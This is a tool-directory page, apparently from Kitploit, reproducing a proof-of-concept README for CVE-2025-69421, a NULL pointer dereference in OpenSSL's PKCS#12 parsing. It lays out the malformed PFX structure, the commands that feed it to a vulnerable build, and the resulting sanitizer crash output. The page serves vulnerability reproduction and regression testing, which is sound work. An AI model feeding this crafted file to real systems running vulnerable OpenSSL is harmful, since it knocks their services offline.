Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-CVE-2025-69421 — Minimal CVE-2025-69421 reproducer demonstrating a NULL pointer dereference in OpenSSL PKCS#12 processing via a malformed PFX file with absent encryptedContent field. Includes generation script, ASN.1 inspection, and UBSan-triggered crash output for defensive regression testing. | Kitploit
Tools/GitHubGitHub/kha-beleh/poc-cve-2025-69421
Vulnerability AnalysisExploitationFuzzingCryptographyBinary AnalysisLearning & Education
GitHubkha-beleh/poc-cve-2025-69421

PoC-CVE-2025-69421

Minimal CVE-2025-69421 reproducer demonstrating a NULL pointer dereference in OpenSSL PKCS#12 processing via a malformed PFX file with absent encryptedContent field. Includes generation script, ASN.1 inspection, and UBSan-triggered crash output for defensive regression testing.

View Repository
454 months agoNot yet reviewed
Share

CVE-2025-69421 crash-only reproducer

This repository contains a minimal malformed PKCS#12 file that reproduces CVE-2025-69421 in an isolated laboratory environment.

The generated PFX contains EncryptedData whose EncryptedContentInfo omits the optional encryptedContent field. Vulnerable OpenSSL versions can pass a NULL ASN1_OCTET_STRING pointer from PKCS12_unpack_p7encdata() to PKCS12_item_decrypt_d2i_ex(), which dereferences it without a NULL check.

This reproducer demonstrates a denial-of-service condition only. It does not perform code execution or disclose information.

Repository contents

.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
    └── ubsan-output.txt

Requirements

  • Python 3
  • A vulnerable OpenSSL build compiled with UBSan or ASan/UBSan
  • OpenSSL 3.0.7 was used for the confirmed reproduction

Set the build directory before running the PoC:

export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

OPENSSL_BUILD must contain the vulnerable libcrypto.so.3 and the matching apps/openssl binary.

Generate the malformed PKCS#12 file

A pre-generated file is included. To recreate it:

python3 generate.py

The output is:

malformed-cve-2025-69421.p12

Inspect the ASN.1 structure

openssl asn1parse \
  -inform DER \
  -in malformed-cve-2025-69421.p12 \
  -i

The relevant structure is:

PFX
├── version = 3
└── authSafe: ContentInfo(data)
    └── OCTET STRING
        └── AuthenticatedSafe
            └── ContentInfo(encryptedData)
                └── EncryptedData
                    ├── version = 0
                    └── EncryptedContentInfo
                        ├── contentType = data
                        ├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
                        └── encryptedContent = absent

Run the reproducer

Using the helper script:

export OPENSSL_BUILD=/path/to/openssl-build
./run.sh

Equivalent manual command:

export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"

ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
  -in malformed-cve-2025-69421.p12 \
  -info \
  -noout \
  -passin pass:test

Expected result on a vulnerable build

Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
    #0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
    #1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
    #2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
    #3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)

The important indicators are:

member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata

Expected result on a fixed build

A fixed OpenSSL build should reject the malformed input without a sanitizer finding or process crash. The error may include:

PKCS12_item_decrypt_d2i_ex:passed a null parameter

Technical summary

CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service

Disclaimer

Use this reproducer only in systems you own or are explicitly authorized to test. The included artifact is intended for defensive validation and regression testing.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →